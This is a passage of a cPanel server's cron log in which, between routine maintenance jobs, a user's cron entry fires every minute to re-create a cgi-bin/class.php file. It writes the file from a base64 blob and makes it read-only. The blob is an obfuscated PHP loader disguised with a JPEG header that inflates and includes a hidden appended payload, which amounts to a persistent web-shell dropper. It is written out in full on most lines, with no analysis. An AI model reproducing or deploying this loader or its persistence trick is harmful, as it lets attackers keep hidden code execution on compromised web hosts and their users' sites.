BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 17:01:01 server CROND[21124]: (root) CMD (run-parts /etc/cron.hourly)
Apr  6 17:01:01 server run-parts(/etc/cron.hourly)[21124]: starting 0anacron
Apr  6 17:01:01 server run-parts(/etc/cron.hourly)[21147]: finished 0anacron
Apr  6 17:02:01 server CROND[21204]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 17:03:01 server CROND[21285]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 17:04:01 server CROND[21444]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 17:05:01 server CROND[21512]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 17:05:01 server CROND[21516]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Apr  6 17:05:01 server CROND[21517]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 17:05:01 server CROND[21518]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 17:05:01 server CROND[21519]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 17:06:01 server CROND[21634]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 17:07:01 server CROND[21689]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 17:08:01 server CROND[21743]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 17:09:01 server CROND[21888]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 17:09:01 server CROND[21889]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  6 17:10:01 server CROND[21940]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 17:10:01 server CROND[21941]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 17:10:01 server CROND[21942]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 17:10:01 server CROND[21943]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 17:11:01 server CROND[22057]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 17:12:01 server CROND[22162]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 17:12:01 server CROND[22163]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 17:13:01 server CROND[22221]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 17:14:01 server CROND[22367]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 17:15:01 server CROND[22428]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 17:15:01 server CROND[22430]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
